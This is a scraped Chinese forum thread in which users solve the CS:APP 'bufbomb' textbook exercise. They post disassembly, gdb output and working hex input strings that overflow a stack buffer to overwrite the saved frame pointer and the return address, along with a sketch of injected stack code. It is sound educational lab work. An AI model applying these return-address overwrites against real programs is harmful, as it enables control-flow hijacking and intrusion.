找回密碼
 立即注冊(cè)

QQ登錄

只需一步,快速開始

搜索
查看: 2085|回復(fù): 0
打印 上一主題 下一主題
收起左側(cè)

緩沖區(qū)溢出攻擊實(shí)驗(yàn)

[復(fù)制鏈接]
跳轉(zhuǎn)到指定樓層
樓主
ID:107189 發(fā)表于 2016-3-6 02:04 | 只看該作者 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
這是出自《深入理解計(jì)算機(jī)系統(tǒng)》的一道題目:
[code:1:d0aaabbf15]
/* Bomb program that is solved using a buffer overflow attack */
#include
#include
#include
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {

*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
[/code:1:d0aaabbf15]
題目的要求是,在getbuf函數(shù)中也許“顯然”地會(huì)返回1,通過(guò)輸入一個(gè)數(shù)據(jù)使這個(gè)函數(shù)返回0xdeadbeef,就是在test函數(shù)中地printf中打印地是0xdeadbeef.
我大概有了思路,做著玩玩,晚上回來(lái)再說(shuō)。
FreeGnu 回復(fù)于:2004-11-03 21:47:59 要是能來(lái)篇
堆的溢出或shellcode的編寫就更好了


   本篇文章共13頁(yè),此頁(yè)為首頁(yè)   下一頁(yè)


期望中......
converse 回復(fù)于:2004-11-03 22:40:07 思路已經(jīng)想到了,還沒(méi)有時(shí)間實(shí)踐,分析如下:
當(dāng)函數(shù)test在調(diào)用getbuf的時(shí)候,棧的分布情況大致如下:
[code:1:384b9f0f0e]
| | <- test的棧幀 (地址在高位)
|為局部變量分配空間(val) |
| 其他的一些空間 |
| 返回地址 |
| | <-getbuf的棧幀 (地址在低位)
|為局部變量分配空間(buf變量) |
| 其他的一些空間 |
| 返回地址 |
| |
[/code:1:384b9f0f0e]
而getbuf中的局部變量buf數(shù)組就是緊靠著getbuf棧幀的數(shù)據(jù)空間,當(dāng)這個(gè)空間溢出的時(shí)候,數(shù)據(jù)就會(huì)跑到test函數(shù)的棧幀中。
看下面的test函數(shù)的匯編代碼:
[code:1:384b9f0f0e]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp
118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp)
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
計(jì)算機(jī)教程【好玩】緩沖區(qū)溢出攻擊實(shí)驗(yàn)來(lái)自www.itwen.comIT WEN計(jì)算機(jī)教程網(wǎng)

136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:384b9f0f0e]
注意到12c那一行,是把調(diào)用getbuf函數(shù)的返回值傳到局部變量0xfffffffc(%ebp)中,就是val,接下來(lái)的一行就是把這個(gè)局部變量傳到eax寄存器再由寄存器傳到test棧幀的后面然后再調(diào)用printf函數(shù)。
我的修改思路如下,反匯編出從getbuf函數(shù)的棧幀中buf數(shù)組那部分直到test中val變量之間的代碼,其他的部分不改變,改變的只有以下兩個(gè)部分:
1)修改test函數(shù)的返回地址,使這個(gè)地址指向12f那一行,就是說(shuō)把
mov %eax,0xfffffffc(%ebp)這一行跳過(guò),直接把變量val的值傳到printf中
2)找到val在棧幀所在的位置,把這個(gè)位置的代碼改為我們所要的,也就是0xdeadbeef.
思路大致如上面所說(shuō),明天有時(shí)間實(shí)踐看看。
不知道說(shuō)清楚沒(méi)有,大家給點(diǎn)意見(jiàn)。
converse 回復(fù)于:2004-11-03 23:09:44 簡(jiǎn)而言之,修改后的test函數(shù)是這樣的:
[code:1:d925617121]
void test()
{
int val = 0xdeadbeef; //把val變量改為我們需要的值
printf("Type Hex string:");
//val = getbuf(); //單獨(dú)調(diào)用getbuf函數(shù),不把返回值放在val中
getbuf();
printf("getbuf returned 0x%x\n", val);
}
[/code:1:d925617121]
aero 回復(fù)于:2004-11-04 08:42:48 在《黑客就這么幾招》中有很詳細(xì)的緩沖區(qū)溢出漏洞的原理和shellcode的編寫。
^_^,當(dāng)初在書店看到這書,本來(lái)打算翻開嘲笑一翻,因?yàn)檫@個(gè)名字太張揚(yáng)了。不過(guò),看了卻發(fā)現(xiàn),有很多廢話(教授工具和講述歷史)以外,還是有些內(nèi)容的。尤其將緩沖區(qū)溢出漏洞和格式化字符串漏洞的原理講述的尤為詳細(xì)。

   本篇文章共13頁(yè),此頁(yè)為第2 頁(yè)   上一頁(yè)   下一頁(yè)




aero 回復(fù)于:2004-11-04 09:19:06 converse,你的思路錯(cuò)了。題目的意思,不是想讓你覆蓋val的值,這樣做沒(méi)有什么意義。而是想讓你通過(guò)getbuf函數(shù)返回一個(gè)地址。這才是有用的。
我們能控制它返回一個(gè)值,我們就能進(jìn)一步讓這個(gè)值覆蓋getbuf函數(shù)返回時(shí)要執(zhí)行的指令。如果我們?cè)谖覀兛刂频倪@個(gè)返回值的地址上,放上一個(gè)shellcode。那么就能讓程序“脫軌”,而進(jìn)入我們?cè)O(shè)定的“軌道”。
converse 回復(fù)于:2004-11-04 09:28:19 是的,現(xiàn)在這樣看應(yīng)該有很多辦法實(shí)現(xiàn),因?yàn)榧热徽业搅烁采w返回時(shí)執(zhí)行指令的辦法就可以為所欲為了,我晚上再做做看吧。
aero 回復(fù)于:2004-11-04 11:13:04 converse兄,你的思路還是正確的,偶剛才說(shuō)錯(cuò)了,^_^,莫怪。
呵呵,剛才深入搞了一下,這個(gè)還真不簡(jiǎn)單。這個(gè)題要求我們溢出,讓程序“脫軌”一段后,還要回到原來(lái)的“軌道”上去,繼續(xù)打印出val的值。不能是像平常的溢出攻擊一樣,讓它“脫軌”,走我們?cè)O(shè)定的“軌道”就好了。所以想了一下,要做的事情有4步:
1、計(jì)算出getbuf函數(shù)下一條指令(給val賦值)的下一條指令的地址:A。
2、計(jì)算出getbuf函數(shù)返回的棧幀的地址:B。B中原來(lái)存放的是getbuf函數(shù)下一條指令(給val賦值)的地址:C。
3、通過(guò)輸入精心設(shè)計(jì)的輸入串,將A(內(nèi)容)寫入B(地址),即用A,覆蓋C,使函數(shù)返回的時(shí)候跳過(guò)給val賦值的部分。使火車“脫軌”,繞過(guò)一個(gè)“站點(diǎn)”后,繼續(xù)回到原來(lái)的鐵路上。
4、精心設(shè)計(jì)的輸入串,同時(shí)也要用0x覆蓋val變量,就像converse說(shuō)的。
關(guān)鍵就在于計(jì)算A和B。A要計(jì)算出絕對(duì)的數(shù)值,B起碼要計(jì)算出相對(duì)的數(shù)值。A的計(jì)算,單從程序上看,實(shí)在想不出什么辦法。莫非要去分析gcc將每條指令都翻譯成了什么,占多少字節(jié)?B的計(jì)算,相對(duì)比較容易,可以從在棧上分配的空間計(jì)算出來(lái),可是,匯編了C程序分析了一下。gcc總是在分配空間的時(shí)候很“大方”,總是多讓出一些字節(jié)(防止溢出攻擊?),而且,郁悶的是,讓出的這些空間,大小不是固定的。有的函數(shù)是8個(gè)字節(jié),有的函數(shù)是12個(gè)字節(jié),真是找不到規(guī)律。難道要去讀gcc的源碼?

搞了一上午,不能搞了。今天任務(wù)要完不成了。得去工作了。唉,晚上回來(lái)在說(shuō)吧。
win_hate 回復(fù)于:2004-11-06 00:52:01 :D

運(yùn)行在 VMWare 上的 gentoo linux, 通過(guò) xshell 訪問(wèn)。

aero 回復(fù)于:2004-11-06 09:44:29 哈哈哈,好啊,好啊。來(lái),來(lái),講講原理。講講怎么做的。
converse 回復(fù)于:2004-11-06 13:26:32 看到win_hate作出來(lái)了,我也不能閑著了,也做了一個(gè)玩玩。
我用cygwin測(cè)試的結(jié)果,注意在gdb中我打印出來(lái)的值,這些就是要修改的地方。
另外要注意的是這里的ebp是在getbuf中的,所以這里給出的數(shù)據(jù)也是相對(duì)于getbuf棧幀的數(shù)據(jù)。
它們分別是
1)$ebp:test棧幀的地址,當(dāng)調(diào)用getbuf函數(shù)的時(shí)候要壓入棧保存,這里要原封不動(dòng)的寫出來(lái)
2)$ebp+4:從getbuf函數(shù)中返回以后執(zhí)行的指令的下一個(gè)指令的地址,注意原來(lái)的值是0x401183,可是我寫回去的時(shí)候變成了0x401186,詳細(xì)的說(shuō)明見(jiàn)我下面的說(shuō)明。
3)$ebp+32和$ebp+36,我不知道為什么還要寫入這兩個(gè)值,因?yàn)槲艺J(rèn)為改動(dòng)只要到修改val的值就夠了,可是這樣會(huì)出錯(cuò)的,見(jiàn)我下面的說(shuō)明。

我用cygwin測(cè)試的結(jié)果,注意在gdb中我打印出來(lái)的值,這些就是要修改的地方

converse 回復(fù)于:2004-11-06 13:35:56 說(shuō)明一下修改的地方吧,如下,注意我的機(jī)子是小端法表示的:
1)d8ef2200:用小端法就是0x22efd8,這個(gè)是test棧幀的ebp的值,在調(diào)用getbuf的時(shí)候壓入棧中保存,這里要原封不動(dòng)的寫出來(lái)。
2)86114000:先看看test函數(shù)的反匯編代碼吧,如下:
[code:1:3369b076c6]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp


   本篇文章共13頁(yè),此頁(yè)為第3頁(yè)   上一頁(yè)   下一頁(yè)





118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp) ;從getbuf函數(shù)中返回就執(zhí)行這個(gè)指令。
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:3369b076c6]
12c中的指令mov %eax,0xfffffffc(%ebp) 是從getbuf函數(shù)中返回的時(shí)候就要執(zhí)行的指令,指令長(zhǎng)度為3個(gè)字節(jié),因?yàn)橹噶畹木幋a是89 45 fc,我們的改動(dòng)必須跳過(guò)這個(gè)指令。
因此我們求出ebp+4的內(nèi)容,這個(gè)內(nèi)容就是這個(gè)指令的執(zhí)行地址,把這個(gè)地址加3就是下一個(gè)指令即
[code:1:3369b076c6]
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
[/code:1:3369b076c6]
的地址。
因此,86114000用小端法表示就是0x401186就是下一條指令的地址。
3)efbeadde:向局部變量val寫入我們要修改的值。

converse 回復(fù)于:2004-11-06 13:40:47 見(jiàn)這副圖,如果我輸入的值只到0xdeadbeef的時(shí)候程序就會(huì)出現(xiàn)"segmentation fault",win_hate能解釋一下為什么嗎??

出現(xiàn)問(wèn)題的圖片

afministrator 回復(fù)于:2004-11-06 15:30:18 啊,沒(méi)有看明白呀
win_hate 回復(fù)于:2004-11-06 20:02:17 [quote:2d23f4cb3e="converse"]見(jiàn)這副圖,如果我輸入的值只到0xdeadbeef的時(shí)候程序就會(huì)出現(xiàn)"segmentation fault",win_hate能解釋一下為什么嗎??[/quote:2d23f4cb3e]
val 后面是 test 棧幀中的保存 ebp 值和返回地址,在 getxs 中最后部分有一句
[code:1:2d23f4cb3e]
*sp++ = '\0';
[/code:1:2d23f4cb3e]
會(huì)破壞保存的 ebp 值
converse 回復(fù)于:2004-11-06 20:23:42 [quote:a7e041e65c="win_hate"]
會(huì)破壞保存的 ebp 值[/quote:a7e041e65c]
明白了,最后的兩個(gè)32位的字符串,一個(gè)是main函數(shù)的ebp的值,一個(gè)是從test函數(shù)中返回后main函數(shù)的下一條指令的地址。
converse 回復(fù)于:2004-11-07 13:14:12 還有一個(gè)問(wèn)題,就是從鍵盤輸入字符串的時(shí)候,這里輸入的字符串到底是存放在哪里的?這個(gè)輸入一直要到輸入回車鍵的時(shí)候才開始輸入到buf數(shù)組中吧?
aero 回復(fù)于:2004-11-08 12:59:54 ^_^,偶也做出來(lái)了。地址是用gdb看出來(lái)的。要是能計(jì)算出來(lái)就好了。
另,converse,你是用什么反匯編的?怎么讓指令和機(jī)器碼一同顯示。烤褪窍馾ebug那樣。
[code:1:fc25016126]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:12 23 34 45 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 f8 ef ff bf ca 84 04 08 12 23 34 45 ef be ad de e8 fb ff bf 1f 85 04 08


   本篇文章共13頁(yè),此頁(yè)為第4頁(yè)   上一頁(yè)   下一頁(yè)





getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2/specs
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --host=i386-redhat-linux --with-system-zlib --enable-__cxa_atexit
Thread model: posix
gcc version 3.2 20020903 (Red Hat Linux 8.0 3.2-7)
[yangwl:/home/users50/yangwl/test/converse]$ uname -a
Linux db2 2.4.18-14smp #1 SMP Wed Sep 4 12:34:47 EDT 2002 i686 i686 i386 GNU/Linux
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:fc25016126]
converse 回復(fù)于:2004-11-08 13:08:58 [quote:6fea16f599="aero"] 另,converse,你是用什么反匯編的?怎么讓指令和機(jī)器碼一同顯示。烤褪窍馾ebug那樣。[/quote:6fea16f599]
首先是 gcc -c參數(shù)產(chǎn)生目標(biāo)代碼文件,然后用objdump -D就可以反匯編目標(biāo)文件了

aero 回復(fù)于:2004-11-08 13:15:42 哈哈,學(xué)到,謝謝。
rootkitT 回復(fù)于:2004-11-08 16:55:25 進(jìn)來(lái)晚了,你們都說(shuō)完了我才看見(jiàn)
上面的兄弟,小弟頂一下先
win_hate 回復(fù)于:2004-11-08 17:38:26 其實(shí)還可以討論的,如果不介意程序崩潰,可以這么做:



aero 回復(fù)于:2004-11-08 19:00:06 [quote:2a63f73a60="win_hate"]其實(shí)還可以討論的,如果不介意程序崩潰,可以這么做:[/quote:2a63f73a60]
:em02: :em02: ^_^,好,又換了個(gè)思路,徹底改變了val變量的位置。
偶的:
[code:1:2a63f73a60]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
Segmentation fault
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:2a63f73a60]
aero 回復(fù)于:2004-11-08 19:09:23 win_hate其實(shí),這種思路,也可以不怕程序崩潰的。我們改動(dòng)了ebp,在改回去就是了,一樣可以返回到main里面的正常路徑上去的。
[code:1:090f431f6c]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de e8 fb ff bf 17 85 04 08 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef


   本篇文章共13頁(yè),此頁(yè)為第5頁(yè)   上一頁(yè)   下一頁(yè)





[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:090f431f6c]
win_hate 回復(fù)于:2004-11-08 19:19:34 改哪里,如何改?
aero 回復(fù)于:2004-11-08 19:23:42 [yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de [color=red:06eba410e1]e8 fb ff bf 17 85 04 08 [/color:06eba410e1]13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$
這里,把main里面的ebp和指令地址在完好的給改回去不就好了?
win_hate 回復(fù)于:2004-11-08 19:28:58 在我的系統(tǒng)上不行,你看看我給出的串,我已經(jīng)給出了相應(yīng)地址。
在我的系統(tǒng)上,似乎 printf 會(huì)覆蓋我填進(jìn)去的值。
aero 回復(fù)于:2004-11-08 19:37:57 ^_^,好好看看。想看到結(jié)論。加油。
Solaris12 回復(fù)于:2004-11-09 10:39:32 [quote:1e8230e8fb="converse"]見(jiàn)這副圖,如果我輸入的值只到0xdeadbeef的時(shí)候程序就會(huì)出現(xiàn)"segmentation fault",win_hate能解釋一下為什么嗎??[/quote:1e8230e8fb]
deadbeef的意思是使用了已經(jīng)被free了的內(nèi)存,
當(dāng)然會(huì)有段錯(cuò)誤了!
aero 回復(fù)于:2004-11-09 10:49:39 [quote:c3c559c01a="Solaris12"]

deadbeef的意思是使用了已經(jīng)被free了的內(nèi)存,
當(dāng)然會(huì)有段錯(cuò)誤了![/quote:c3c559c01a]
不是吧。上面win_hate已經(jīng)說(shuō)的很明白了,是因?yàn)楹竺娴?\0'會(huì)破壞test壓入的ebp,以致于無(wú)法在返回main函數(shù)的時(shí)候,進(jìn)入正確的“軌道”。
Solaris12 回復(fù)于:2004-11-09 11:00:09 [quote:5561593cdd="aero"]
不是吧。上面win_hate已經(jīng)說(shuō)的很明白了,是因?yàn)楹竺娴?\0'會(huì)破壞test壓入的ebp,以致于無(wú)法在返回main函數(shù)的時(shí)候,進(jìn)入正確的“軌道”。[/quote:5561593cdd]
抱歉,剛才沒(méi)仔細(xì)看,呵呵
這個(gè)出題目的一定是老美,
deadbeef在Solaris的調(diào)試器里面有特殊含義,抱歉
aero 回復(fù)于:2004-11-09 11:08:32 [quote:af3263885c="Solaris12"]
抱歉,剛才沒(méi)仔細(xì)看,呵呵
這個(gè)出題目的一定是老美,
deadbeef在Solaris的調(diào)試器里面有特殊含義,抱歉[/quote:af3263885c]
哦,蝦米特殊含義。空f(shuō)來(lái)聽(tīng)聽(tīng)。 :em02: :em02:
Solaris12 回復(fù)于:2004-11-09 11:30:30 [quote:40fe358080="aero"]
哦,蝦米特殊含義?說(shuō)來(lái)聽(tīng)聽(tīng)。 :em02: :em02:[/quote:40fe358080]
其實(shí)deadbeef不止在Solaris下,恐怕在UNIX/LINUX文化里,都有
特殊含義:
DEADBEEF /ded-beef/ n.
(From the Jargon file)
The hexadecimal word-fill pattern for freshly allocated memory under a number of IBM environments, including the RS/6000. Some modern debugging tools deliberately fill freed memory with this value as a way of converting heisenbugs into Bohr bugs. As in "Your program is DEADBEEF" (meaning gone, aborted, flushed from memory); if you start from an odd half-word boundary, of course, you have BEEFDEAD. See also the anecdote under fool and dead beef attack.


   本篇文章共13頁(yè),此頁(yè)為第6頁(yè)   上一頁(yè)   下一頁(yè)





deadbeef就是指引用已經(jīng)free的內(nèi)存
aero 回復(fù)于:2004-11-09 12:32:34 ^_^,原來(lái)還有典故的說(shuō)。
流川 回復(fù)于:2004-11-09 15:16:50 哇,一個(gè)比一個(gè)強(qiáng)
afministrator 回復(fù)于:2004-11-10 10:58:23 我想你們應(yīng)用C++寫一個(gè)了呀呵呵 :em02:
pigjj 回復(fù)于:2004-12-23 14:23:43 我有一點(diǎn)不明白,你們?nèi)绾嗡愠鼍彌_區(qū)的大小 ? 是否是在getbuf中 ebp-esp 的值。
[code:1:710fc9da6e](gdb) disas getbuf
Dump of assembler code for function getbuf:
0x080484b0 : push %ebp
0x080484b1 : mov %esp,%ebp
0x080484b3 : lea 0xffffffe8(%ebp),%eax
0x080484b6 : sub $0x28,%esp
0x080484b9 : mov %eax,(%esp)
0x080484bc : call 0x8048420
0x080484c1 : mov %ebp,%esp
0x080484c3 : mov $0x1,%eax
0x080484c8 : pop %ebp
0x080484c9 : ret
0x080484ca : lea 0x0(%esi),%esi
End of assembler dump.

(gdb) b *0x080484bc
Breakpoint 2 at 0x80484bc
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pigjj/prog/c/atack/a.out
Breakpoint 2, 0x080484bc in getbuf ()
(gdb) i reg
eax 0xbfffefd0 -1073745968
ecx 0x40148080 1075085440
edx 0x10 16
ebx 0x4014e620 1075111456
esp 0xbfffefc0 0xbfffefc0
ebp 0xbfffefe8 0xbfffefe8

esi 0x400164a0 1073833120
edi 0xbffffa04 -1073743356
eip 0x80484bc 0x80484bc
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
[/code:1:710fc9da6e]
從上面可以看出 函數(shù)getbuf的棧幀大小是 0x28 ,就是40個(gè)字節(jié)?墒俏业某绦蜉斎23 個(gè)字節(jié)就 segmentation fail
[code:1:710fc9da6e](gdb) run
Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 05 16 17 18 19 2021 22 23
getbuf returned 0x1
Program exited normally.
(gdb) run


   本篇文章共13頁(yè),此頁(yè)為第7頁(yè)   上一頁(yè)   下一頁(yè)





Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 2021 22 23 24
getbuf returned 0x1
Program received signal SIGSEGV, Segmentation fault.
0x00000400 in ?? ()
(gdb)
[/code:1:710fc9da6e]
我想問(wèn)下各位大哥,你們是怎樣確定緩沖區(qū)大小的,謝謝 :)[/code]
aero 回復(fù)于:2004-12-23 14:28:04 ^_^,你要先明白啥是緩沖區(qū)的概念,然后知道為什么會(huì)溢出,然后分析明白棧幀的哪里到哪里是表示什么的。
呵呵,看看偶blog上對(duì)這個(gè)問(wèn)題的詳細(xì)分析。應(yīng)該對(duì)你有幫助。
pigjj 回復(fù)于:2004-12-24 11:04:29 不好意思我太糊涂了,犯了錯(cuò)誤。
我明白緩沖區(qū)溢出是我們輸入的字節(jié)超出了gcc分配給buf的大小,可是問(wèn)題的關(guān)鍵是我們?nèi)绾未_定gcc分配給buf的空間,
調(diào)用getxs 前getbuf 的棧幀
-----------------
| | <-------保存的ebp 4個(gè)字節(jié)
------------------
| |
| |
| |
| | buf在這段空間的哪一部分,如何確定大小
| |
| |
| |
| |
-----------
| | 返回地址4個(gè)字節(jié)。
-----------
aero 回復(fù)于:2004-12-24 11:08:20 看源碼啊,然后結(jié)合編譯器的對(duì)齊規(guī)則。^_^,其實(shí),各種不同的編譯優(yōu)化選項(xiàng)也可以使它不同呢,甚至可以不使用ebp呢。

看源碼,然后編譯,然后調(diào)試,然后確定,然后實(shí)驗(yàn),然后去試目標(biāo)。
pigjj 回復(fù)于:2004-12-25 18:50:07 [code:1:6fe8060e4c]
pigjj@Ale:~/prog/c/atack$ uname -a
Linux Ale 2.4.26-1-386 #1 Thu Jul 22 12:46:23 JST 2004 i686 GNU/Linux
pigjj@Ale:~/prog/c/atack$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux
Thread model: posix
gcc version 3.3.4 (Debian 1:3.3.4-3)
pigjj@Ale:~/prog/c/atack$ ./a.out
Type Hex string:12345678 12345678 12345678 12345678 12345678 12345678 f8efffbf eb840408 44686408 efbeadde d8f9ffbf 27850408
getbuf returned 0xdeadbeef
[/code:1:6fe8060e4c]
I got it :D
zne 回復(fù)于:2005-02-17 16:20:59 前面大家都是修改了test的返回地址,修改getbuf的返回地址大家覺(jué)得可以么?


   本篇文章共13頁(yè),此頁(yè)為第8頁(yè)   上一頁(yè)   下一頁(yè)





我想先貼一下我看的書里的原題
代碼在這里 http://csapp.cs.cmu.edu/public/code.html bufbomb.c
題目:
Homework Problem 3.38 [Category 3]:
In this problem, you will mount a buffer overflow attack on your own program.
As stated earlier, we do not condone using this or any other form of attack to gain unauthorized access to a system, but by doing thisexercise, you will learn a lot about machine-level programming.
Download the file bufbomb.c from the CS:APP website and compile it to create an executable program.
In bufbomb.c, you will find the following functions:
1 int getbuf()
2 {
3 char buf[12];
4 getxs(buf);
5 return 1;
6 }
7
8 void test()
9 {
10 int val;
11 printf("Type Hex string:");
12 val = getbuf();
13 printf("getbuf returned 0x%x\n", val);
14 }
The function getxs (also in bufbomb.c) is similar to the library gets, except that it reads charactersencoded as pairs of hex digits. For example, to give it a string “0123,” the user would type in the string“30 31 32 33.” The function ignores blank characters. Recall that decimal digit x has ASCII representation0x3x.

A typical execution of the program is as follows:
unix> ./bufbomb
Type Hex string: 30 31 32 33
getbuf returned 0x1
Looking at the code for the getbuf function, it seems quiteapparent that it will return value 1 whenever it
is called. It appears as if the call to getxs has no effect.
[color=blue:bbc752fa04]Your task is to make getbuf return -559038737(0xdeadbeef) to test, simply by typing an appropriate hexadecimal string to the prompt.[/color:bbc752fa04]
Here are some ideas that will help you solve the problem:
Use OBJDUMP to create a disassembled version of bufbomb. Study this closely to determine howthe stack frame for getbuf is organized and how overflowing the buffer will alter the saved program state.
[color=blue:bbc752fa04]Run your program under GDB. Set a breakpoint within getbuf and run to this breakpoint. [/color:bbc752fa04]Determine such parameters as the value of %ebp and the saved value of any state that will be overwritten when you overflow the buffer.


   本篇文章共13頁(yè),此頁(yè)為第9頁(yè)   上一頁(yè)   下一頁(yè)





[color=blue:bbc752fa04] Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with GCC and disassemble it with OBJDUMP. You should be able to get the exact byte sequence that you will type at the prompt. .[/color:bbc752fa04]
OBJDUMP will producesome pretty strange looking assembly instructions when it tries to disassemble the data in your file,
but the hexadecimal byte sequence should be correct.
Keep in mind that your attack is very machine and compiler specific. You may need to alter your string when running on a different machine or with a different version of GCC.
zne 回復(fù)于:2005-02-17 17:01:10 我理解題目要求我們?cè)谙騜uf[]中輸入數(shù)據(jù)時(shí),輸入一些能夠執(zhí)行的機(jī)器指令,在我的機(jī)器上,getbuf的棧禎是這樣
return address| test的棧幀,存儲(chǔ)了call getbuf之后的下一條指令地址

__saved %ebp| %ebp 從這里開始是getbuf的棧幀,存儲(chǔ)test的幀指針
____________|
____________|
____________|
____________|
____________|
____________|buf[]
我的想法是應(yīng)該可以在gdb下運(yùn)行bufbomb程序,在getbuf處設(shè)斷點(diǎn),當(dāng)運(yùn)行到getbuf時(shí)
print /x $ebp
得到getbuf frame pointer值,假設(shè)結(jié)果是 0xbfffffc0
print /x *(unsigned*) 0xbfffffc0
得到getbuf的 frame pointer處存儲(chǔ)的test的frame pointer值
print /x ($ebp-24)
得到buf[]的地址
之后我們向buf[]填入8byte數(shù)據(jù),先不考慮機(jī)器指令的編寫
改為buf[]地址 | return address
保持原值不變 | <-%ebp
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |buf[]
現(xiàn)在將90部分改為下面匯編語(yǔ)句的機(jī)器指令表示,假設(shè)正常情況下call getbuf之后的下一條指令地址為0Xxxxxxxxx
movl $deadbeef,%eax
pushl $0Xxxxxxxxx
ret
大家覺(jué)得這個(gè)方法可不可能行得通?我試過(guò)將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。但將return address覆蓋為buf[]地址的話,就會(huì)在getbuf ret回test時(shí)發(fā)生segmentation fault.
這里為什么會(huì)發(fā)生segmentation fault?怎么才能夠ret回這個(gè)stack frame部分呢?
輸入buf的數(shù)據(jù)的最后一位'\0',感覺(jué)應(yīng)該不會(huì)產(chǎn)生什么破壞,因?yàn)閷eturn address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。
converse 回復(fù)于:2005-02-17 19:25:12 沒(méi)看懂你的意思呀,汗顏中...
你試著截圖來(lái)說(shuō)明一下吧:)


   本篇文章共13頁(yè),此頁(yè)為第10頁(yè)   上一頁(yè)   下一頁(yè)





yuxh 回復(fù)于:2005-02-17 19:56:26 不好玩!
在Linux下很正常,跑到unixware下一搞,MD,把我的虛擬機(jī)都搞沒(méi)了!
zne 回復(fù)于:2005-02-17 22:46:05 第一副圖: disassemble of test ,getbuf 和bomb
bomb 是在bufbomb.c中加的一段試驗(yàn)性質(zhì)的代碼
修改后的bufbomb.c 比原先只多了一個(gè)bomb程序的定義
void bomb()
{
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */



zne 回復(fù)于:2005-02-17 22:48:23 第二副圖: 將getbuf返回地址改為 0x080484af, 成功



zne 回復(fù)于:2005-02-17 23:09:01 第三副圖: 將getbuf返回地址改為buf[]的地址,失敗
第一副圖中test對(duì)應(yīng)的匯編代碼里

